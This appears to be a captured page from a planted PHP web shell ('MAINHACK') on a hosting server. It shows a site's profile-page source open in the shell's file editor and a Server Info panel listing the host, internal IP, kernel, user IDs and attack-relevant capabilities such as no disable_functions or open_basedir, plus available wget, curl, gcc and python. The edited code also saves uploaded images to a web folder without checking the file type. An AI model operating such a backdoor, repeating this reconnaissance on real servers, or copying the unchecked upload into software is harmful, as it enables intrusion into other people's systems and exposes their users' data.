[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: my-profile.php
<?php include("header.php"); ?> <!-- // Header include --> <!-- Inner-banner --> <div class="inner-banner"> <img src="images/inner-banner-2.png"> <div class="container"> <h1>Your Profile</h1> </div> </div> <!-- My Profile --> <div class="my-profile"> <div class="container"> <div class="profile-block"> <h2>Your <span>Profile</span></h2> <?php $stmt1=$show->readwithdata('apartment','apartment_id',$_SESSION['login_id']); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ ?> <form action="" method="post" enctype= "multipart/form-data"> <div class="image-profile"> <?php if($row['avater']!=""){?> <img src="<?=$pic_img?>/<?=$row['avater']?>"> <?php }else{ ?> <img src="<?=$pic_img?>/<?=$row['image']?>"> <?php } ?> <a href="#" data-toggle="modal" data-target="#myModal"><i class="fa-regular fa-pen-to-square"></i></a> </div> <div class="profile-fillup"> <p>Your Name : </p> <input type="text" name="name" value="<?=$row['name']?>" placeholder="Rahul Misra" readonly> <a href="#" data-toggle="modal" data-target="#myModal02"><i class="fa-regular fa-pen-to-square"></i></a> </div> <div class="profile-fillup"> <p>Phone Number : </p> <input type="text" name="phone" value="<?=$row['phone']?>" placeholder="+91 00000 00000" readonly> <a href="#" data-toggle="modal" data-target="#myModal02"><i class="fa-regular fa-pen-to-square"></i></a> </div> <div class="profile-fillup"> <p>Email : </p> <input type="email" name="email" value="<?=$row['email']?>" placeholder="Example@rmisra224.com" readonly> <a href="#" data-toggle="modal" data-target="#myModal02"><i class="fa-regular fa-pen-to-square"></i></a> </div> <div class="profile-fillup"> <p>Gender : </p> <div class="gender-content"> <input type="radio" <?php if($row['gender']=='Male'){ echo "checked"; }?> value="Male" name="gender" > <label for="Condominium1"> Male </label> </div> <div class="gender-content"> <input type="radio" <?php if($row['gender']=='Female'){ echo "checked"; }?> value="Female" name="gender"> <label for="Condominium1"> Female </label> </div> <div class="gender-content"> <input type="radio" <?php if($row['gender']=='Other'){ echo "checked"; }?> value="Other" name="gender"> <label for="Condominium1"> Other </label> </div> </div> <div class="profile-fillup profile-btn"> <input type="submit" value="Save Changes" name="update"> </div> </form> <?php } } if(isset($_POST['update'])){ $allowed = ["gender"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars(strip_tags($_POST[$key])); } } $setStr = rtrim($setStr, ","); $params['apartment_id'] =$_SESSION['login_id']; $show->table ='apartment'; $show->cols =$setStr; $show->id_name ='apartment_id'; print_r($params); $show->params =$params; if($show->update_all()){ echo "<script>window.location.href='".$_SERVER['request_uri']."';</script>"; }else{ echo "Something went wrong"; } }?> </div> </div> </div> <!--Profile Pic Pup-up--> <div id="myModal" class="modal fade pageloadPupup" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <img src="images/logo.png" alt="" class="" style=""> </div> <div class="modal-body"> <div class="choose-profile"> <form action="" method="post" enctype= "multipart/form-data"> <h2>Choose Your <span>Profile Picture</span></h2> <div class="choose-profile-block-content"> <input type="radio" value="avatar-1.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-1.png"> </label> </div> <div class="choose-profile-block-content"> <input type="radio" value="avatar-2.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-2.png"> </label> </div> <div class="choose-profile-block-content"> <input type="radio" value="avatar-3.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-3.png"> </label> </div> <div class="choose-profile-block-content"> <input type="radio" value="avatar-4.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-4.png"> </label> </div> <div class="choose-profile-block-content"> <input type="radio" value="avatar-5.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-5.png"> </label> </div> <div class="choose-profile-block-content"> <input type="radio" value="avatar-6.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-6.png"> </label> </div> <div class="choose-profile-block-content"> <input type="radio" value="avatar-7.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-7.png"> </label> </div> <div class="choose-profile-block-content"> <input type="radio" value="avatar-8.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-8.png"> </label> </div> <div class="choose-profile-block-content"> <input type="radio" value="avatar-9.png" name="avater" id=""> <label for=""> <img src="product_img/avatar-9.png"> </label> </div> <div class="profile-change-btn inputtypefile"> <a href="#"><i class="fa-solid fa-cloud-arrow-up"></i> Upload Images <i class="fa-solid fa-cloud-arrow-up"></i></a> <input type="file" name="image" id=""> </div> <div class="profile-change-btn"> <input type="submit" value="Submit" name="upload_img"> </div> </form> <?php if(isset($_POST['upload_img'])){ echo "ok"; $allowed = ["avater"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars(strip_tags($_POST[$key])); } } if(file_exists($_FILES['image']['tmp_name']) || is_uploaded_file($_FILES['image']['tmp_name'])) { $setStr .= "`image` = :image,"; $img=$show->imageEdit($_FILES['image']['name']); move_uploaded_file($_FILES['image']['tmp_name'],"../product_img/".$img); $params['image'] =$img; } $setStr = rtrim($setStr, ","); $params['apartment_id'] =$_SESSION['login_id']; $show->table ='apartment'; $show->cols =$setStr; $show->id_name ='apartment_id'; $show->params =$params; $r=$show->update_all(); if($r){ echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "Your Profile has been updated", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; }else{ echo "<script>swal('aa')</script>";} } ?> </div> </div> </div> </div> </div> <!--Profile Pup-up--> <div id="myModal02" class="modal fade pageloadPupup" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <img src="images/logo.png" alt="" class="" style=""> </div> <div class="modal-body"> <div class="choose-profile"> <?php $stmt1=$show->readwithdata('apartment','apartment_id',$_SESSION['login_id']); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ ?> <form method="post" enctype= "multipart/form-data"> <h2>Change Your <span>Profile</span></h2> <div class="edit-name"> <p>Your Name : </p> <input type="text" name="name" value="<?=$row['name']?>" placeholder="Change Your Name" > </div> <div class="edit-name"> <p>Your Number : </p> <input type="text" name="phone" value="<?=$row['phone']?>" placeholder="Change Phone Number" > </div> <div class="edit-name"> <p>Your Email I'd : </p> <input type="email" name="email" value="<?=$row['email']?>"placeholder="Change Your Email" > </div> <div class="edit-name-btn"> <input type="reset" value="Cancel" id="cancle"> <input type="submit" value="Save" name="edit_details"> </div> </form> <? }} ?> <?php if(isset($_POST['edit_details'])){ $allowed = ["name","phone","email"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars(strip_tags($_POST[$key])); } } $setStr = rtrim($setStr, ","); $params['apartment_id'] =$_SESSION['login_id']; $show->table ='apartment'; $show->cols =$setStr; $show->id_name ='apartment_id'; print_r($params); $show->params =$params; if($show->update_all()){ echo "<script>window.location.href='".$_SERVER['request_uri']."';</script>"; }else{ echo "Something went wrong"; } }?> </div> </div> </div> </div> </div> <!--Profile Pup-up--> <div id="myModal03" class="modal fade pageloadPupup" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <img src="images/logo.png" alt="" class="" style=""> </div> <div class="modal-body"> <div class="choose-profile"> <form action="" method="post" enctype= "multipart/form-data"> <h2>Delete <span>Profile</span></h2> <h3>Are You Sure ?</h3> <p>You want to delete this account. All of your data will be removed from the servers</p> <div class="edit-name-btn"> <input type="submit" value="Cancle" id="cancle"> <input type="submit" value="Delete"> </div> </form> </div> </div> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?> <!-- // Footer include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619